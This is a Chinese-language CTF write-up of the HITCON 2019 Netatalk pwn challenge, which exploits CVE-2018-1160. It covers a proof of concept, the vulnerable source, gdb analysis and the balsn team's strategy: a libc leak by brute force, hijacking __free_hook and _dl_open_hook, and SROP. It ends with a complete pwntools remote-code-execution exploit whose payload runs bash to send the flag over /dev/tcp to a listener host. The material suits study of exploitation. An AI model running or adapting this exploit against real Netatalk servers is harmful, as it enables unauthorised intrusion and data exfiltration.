HITCON CTF 2019 pwn Netatalk 详解
TOC
1. 确定CVE 2. 分析 3. 思路 4. 脚本
源于真实环境的题目,需要选手自己分析 cve 的 poc 进行利用, 本文章的主要思路基于 balsn 战队的 exp。
文件链接:Netatalk.zip
拿到题目后,很容易看出这是一个开源的项目,到网上搜索对应的CVE,利用给出的poc进行测试。
确定CVE 利用下面的 poc 测试发现得到预期结果,基本可以确定是 CVE-2018–1160
。
import socketimport structimport sys if len (sys.argv) != 3 : sys.exit(0 ) ip = sys.argv[1 ] port = int (sys.argv[2 ]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print ("[+] Attempting connection to " + ip + ":" + sys.argv[2 ])sock.connect((ip, port)) dsi_opensession = b"\x01" dsi_opensession += b"\x04" dsi_opensession += b"\x00\x00\x40\x00" dsi_header = b"\x00" dsi_header += b"\x04" dsi_header += b"\x00\x01" dsi_header += b"\x00\x00\x00\x00" dsi_header += struct.pack(">I" , len (dsi_opensession)) dsi_header += b"\x00\x00\x00\x00" dsi_header += dsi_opensession sock.sendall(dsi_header) try : resp = sock.recv(1024 ) print ("[+] Fin." ) except : print ("[-] No response!" )
分析 首先,自行编译对应的 debug 版本的程序来用于调试。
在服务端受到请求后,先调用dsi_stream_receive
来进行协议解析。
源码来自:netatalk-3.1.11/libatalk/dsi/dsi_stream.c:591
int dsi_stream_receive (DSI *dsi) { char block[DSI_BLOCKSIZ]; LOG (log_maxdebug, logtype_dsi, "dsi_stream_receive: START" ); if (dsi->flags & DSI_DISCONNECTED) return 0 ; if (dsi_buffered_stream_read (dsi, (uint8_t *)block, sizeof (block)) != sizeof (block)) return 0 ; dsi->header.dsi_flags = block[0 ]; dsi->header.dsi_command = block[1 ]; if (dsi->header.dsi_command == 0 ) return 0 ; memcpy (&dsi->header.dsi_requestID, block + 2 , sizeof (dsi->header.dsi_requestID)); memcpy (&dsi->header.dsi_data.dsi_doff, block + 4 , sizeof (dsi->header.dsi_data.dsi_doff)); dsi->header.dsi_data.dsi_doff = htonl (dsi->header.dsi_data.dsi_doff); memcpy (&dsi->header.dsi_len, block + 8 , sizeof (dsi->header.dsi_len)); memcpy (&dsi->header.dsi_reserved, block + 12 , sizeof (dsi->header.dsi_reserved)); dsi->clientID = ntohs (dsi->header.dsi_requestID); dsi->cmdlen = MIN (ntohl (dsi->header.dsi_len), dsi->server_quantum); if (dsi->header.dsi_data.dsi_doff) { LOG (log_maxdebug, logtype_dsi, "dsi_stream_receive: write request" ); dsi->cmdlen = dsi->header.dsi_data.dsi_doff; } if (dsi_stream_read (dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen) return 0 ; LOG (log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd" , dsi->cmdlen); return block[1 ]; }
下面是poc的对应代码:
dsi_header = b"\x00" dsi_header += b"\x04" dsi_header += b"\x00\x01" dsi_header += b"\x00\x00\x00\x00" dsi_header += struct.pack(">I" , len (dsi_opensession)) dsi_header += b"\x00\x00\x00\x00"
在gdb中进行解析也能得到同样的结果:
pwndbg> p dsi->header $1 = { dsi_flags = 0 '\000' , dsi_command = 4 '\004' , dsi_requestID = 256 , dsi_data = { dsi_code = 0 , dsi_doff = 0 }, dsi_len = 100663296 , dsi_reserved = 0 }
根据相关文章,可以知道漏洞在dsi_opensession
中,如下面的代码所示。
源码来自:netatalk-3.1.11/libatalk/dsi/dsi_opensess.c
void dsi_opensession (DSI *dsi) { uint32_t i = 0 ; int offs; if (setnonblock (dsi->socket, 1 ) < 0 ) { LOG (log_error, logtype_dsi, "dsi_opensession: setnonblock: %s" , strerror (errno)); AFP_PANIC ("setnonblock error" ); } while (i < dsi->cmdlen) { switch (dsi->commands[i++]) { case DSIOPT_ATTNQUANT: memcpy (&dsi->attn_quantum, dsi->commands + i + 1 , dsi->commands[i]); dsi->attn_quantum = ntohl (dsi->attn_quantum); case DSIOPT_SERVQUANT: default : i += dsi->commands[i] + 1 ; break ; } } dsi->header.dsi_flags = DSIFL_REPLY; dsi->header.dsi_data.dsi_code = 0 ; dsi->cmdlen = 2 * (2 + sizeof (i)); dsi->commands[0 ] = DSIOPT_SERVQUANT; dsi->commands[1 ] = sizeof (i); i = htonl (( dsi->server_quantum < DSI_SERVQUANT_MIN || dsi->server_quantum > DSI_SERVQUANT_MAX ) ? DSI_SERVQUANT_DEF : dsi->server_quantum); memcpy (dsi->commands + 2 , &i, sizeof (i)); offs = 2 + sizeof (i); dsi->commands[offs] = DSIOPT_REPLCSIZE; dsi->commands[offs+1 ] = sizeof (i); i = htonl (REPLAYCACHE_SIZE); memcpy (dsi->commands + offs + 2 , &i, sizeof (i)); dsi_send (dsi); }
在上面的memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
这条语句中,dsi->attn_quantum
是个unsigned int
变量,而dsi->commands[i]
是用户可以控制的 unsigned char 变量,最大值是 255,这将直接导致溢出。
pwndbg> ptype dsi->attn_quantum type = unsigned int
对应下面 poc :
dsi_opensession = b"\x01" dsi_opensession += b"\x04" dsi_opensession += b"\x00\x00\x40\x00"
如果溢出 payload 的足够长,则会溢出到 dsi->commands 指针上,这一点对于利用来说很重要。struct DSI
结构如下:
pwndbg> ptype dsi type = struct DSI { struct DSI *next; AFPObj *AFPobj; int statuslen; char status[1400 ]; char *signature; struct dsi_block header; struct sockaddr_storage server; struct sockaddr_storage client; struct itimerval timer; int tickle; int in_write; int msg_request; int down_request; uint32_t attn_quantum; uint32_t datasize; uint32_t server_quantum; uint16_t serverID; uint16_t clientID; uint8_t *commands; uint8_t data[65536 ]; size_t datalen; size_t cmdlen; off_t read_count; off_t write_count; uint32_t flags; int socket; int serversock; size_t dsireadbuf; char *buffer; char *start; char *eof; char *end; char *bonjourname; int zeroconf_registered; pid_t (*proto_open)(struct DSI *); void (*proto_close)(struct DSI *); } *
在前面的 dsi_stream_receive
函数中,我们可以看到 dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen
这条语句,它的行为是把我们的 协议后面的数据读到 dsi->command
中,那么我们就能利用这条语句在修改完 dsi->command
后进行任意地址写。
思路 本人并没有想出利用方法,真实环境并不是像绝大多数 ctf 赛题那样有 输入输出 流给我们走捷径,一般都是要直接做到任意代码执行来达到控制靶机的目的。
这里引用自 balsn 战队的思路。
首先,由于子程序是利用 sys_clone
直接克隆出来的,所以基本每次环境都是一模一样的,我们并不需要一次性打通。 dsi->command
是 用 mmap 申请的内存,这意味着他与 libc 的偏移是固定的。
接下来就是泄露地址,该主要原理是程序会对dsi->command
内存进行操作,如果dsi->command
不可写的话会直接 crash 导致 socket 断开,通过这一点可以我们可以利用部分覆盖技术,对dsi->command
逐字节爆破,来确定 dsi->command
地址从而计算出 libc 地址。
然后 就是 劫持 hook,刚开始我想直接劫持 __free_hook 来调用 system 函数,想利用 dsi->command
作为参数来起 shell,但是程序始终都没有 free(dsi->command),所以该方法并不可行 。在调试中可以发现程序虽然不会 free(dsi->command) ,但是在协议解析的时候会调用 free 函数。这意味着我们可以控制 __free_hook 来执行指定的地址,不过参数是不可控的。
接下来就是 balsn 战队 exp 的核心思路,由于dsi->command
这个缓冲区很大,足够我们控制整个 libc.bss ,所以我们可以利用 __free_hook 来调用其他的可控 hook 来达到进一步控制的目的。
layout = [ 'b' * 0x2e , libc_addr + 0x166488 , 'c' * 0x2bb8 , libc_addr + 0x3f04a8 + 8 , libc_addr + 0x7ea1f , 0 , 0 , 0 , libc_addr + libc.symbols['setcontext' ], ]
我们可以将 free_hook 改成 dlopen 函数,由于缓冲区足够大,后面的 _dl_open_hook 我们同样也可以控制到,这里用 dlopen 的hook 能达到控制第一个参数的目的,可以对比一下两个 hook 的调用方式的区别。
__free_hoook:
mov rax , [cs :__free_hook]mov rax , [rax ]call rax
_dl_open_hook:
mov rax , [cs :__free_hook]call [rax ]
可以看出利用 _dl_open_hook 后,其 rax 是仍然指向 _dl_open_hook 附近的,那么就可以配合接下来的 mov rdi, rax; call qword ptr [rax+20h]
来达到控制第一个参数的目的。
之后就是简单的SROP,然后反弹shell。
注意 sh 是没有 cat flag > /dev/tcp/127.0.0.1/10002 这种用法的,这是 bash 的一种特殊优化。
脚本 from pwn import *import structhost = '127.0.0.1' port = 5567 context.log_level = 'error' context.arch = "amd64" libc = ELF('./libc-2.27.so' ) def send_request (sock, content ): dsi_opensession = b"\x01" dsi_opensession += p8(len (content) + 0x10 ) dsi_opensession += b"a" * 0x10 + content dsi_header = b"\x00" dsi_header += b"\x04" dsi_header += b"\x00\x01" dsi_header += b"\x00\x00\x00\x00" dsi_header += struct.pack(">I" , len (dsi_opensession)) dsi_header += b"\x00\x00\x00\x00" dsi_header += dsi_opensession sock.send(dsi_header) result = sock.recvn(0x10 ) length = u32(result[8 :12 ], endian='big' ) return sock.recvn(length) def create_afp (idx, payload ): afp_command = chr (idx) afp_command += "\x00" afp_command += payload dsi_header = "\x00" dsi_header += "\x02" dsi_header += "\x00\x02" dsi_header += "\x00\x00\x00\x00" dsi_header += struct.pack(">I" , len (afp_command)) dsi_header += '\x00\x00\x00\x00' dsi_header += afp_command return dsi_header addr = '\x10' for i in range (16 ): try : sh = remote(host, port) content = addr + p8(i * 0x10 ) result = send_request(sh, content) sh.close() if (result[2 :6 ] == 'aaaa' ): addr += p8(i * 0x10 ) print (hexdump(addr)) break except EOFError: pass for i in range (3 ): pre = len (addr) for i in range (256 ): try : sh = remote(host, port) content = addr + p8(i) result = send_request(sh, content) sh.close() if (result[2 :6 ] == 'aaaa' ): addr += p8(i) print (hexdump(addr)) break except EOFError: pass if (pre == len (addr)): raise Exception('Not found' ) try : sh = remote(host, port) content = addr + '\x7f' result = send_request(sh, content) sh.close() if (result[2 :6 ] == 'aaaa' ): addr += '\x7f' print (hexdump(addr)) except EOFError: pass if (len (addr) != 6 ): for i in range (256 ): try : sh = remote(host, port) content = addr + p8(i) result = send_request(sh, content) sh.close() if (result[2 :6 ] == 'aaaa' ): addr += p8(i) print (hexdump(addr)) break except EOFError: pass libc_addr = u64(addr.ljust(8 , '\0' )) - 0x1725010 print ('libc_addr: ' + hex (libc_addr))sh = remote(host, port) send_request(sh, p64(libc_addr + libc.symbols['__free_hook' ] - 0x30 )) frame = SigreturnFrame() frame.rdi = libc_addr + 0x3f05a8 frame.rip = libc_addr + libc.symbols['system' ] frame.rsp = libc_addr + 0x3f0508 frame.set_regvalue('&fpstate' , libc_addr + 0x3f0600 ) layout = [ 'b' * 0x2e , libc_addr + 0x166488 , '\0' * 0x2bb8 , libc_addr + 0x3f04a8 + 8 , libc_addr + 0x7ea1f , 0 , 0 , 0 , libc_addr + libc.symbols['setcontext' ] + 53 , ] payload = flat(layout) + str (frame)[0x28 :] + "bash -c 'cat flag 1>/dev/tcp/%s/%d' \0" % ('172.17.0.1' , 10002 ) sh.send(create_afp(0 , payload)) r_sh = listen(10002 ) sh.close() sh = r_sh.wait_for_connection() print (sh.recv())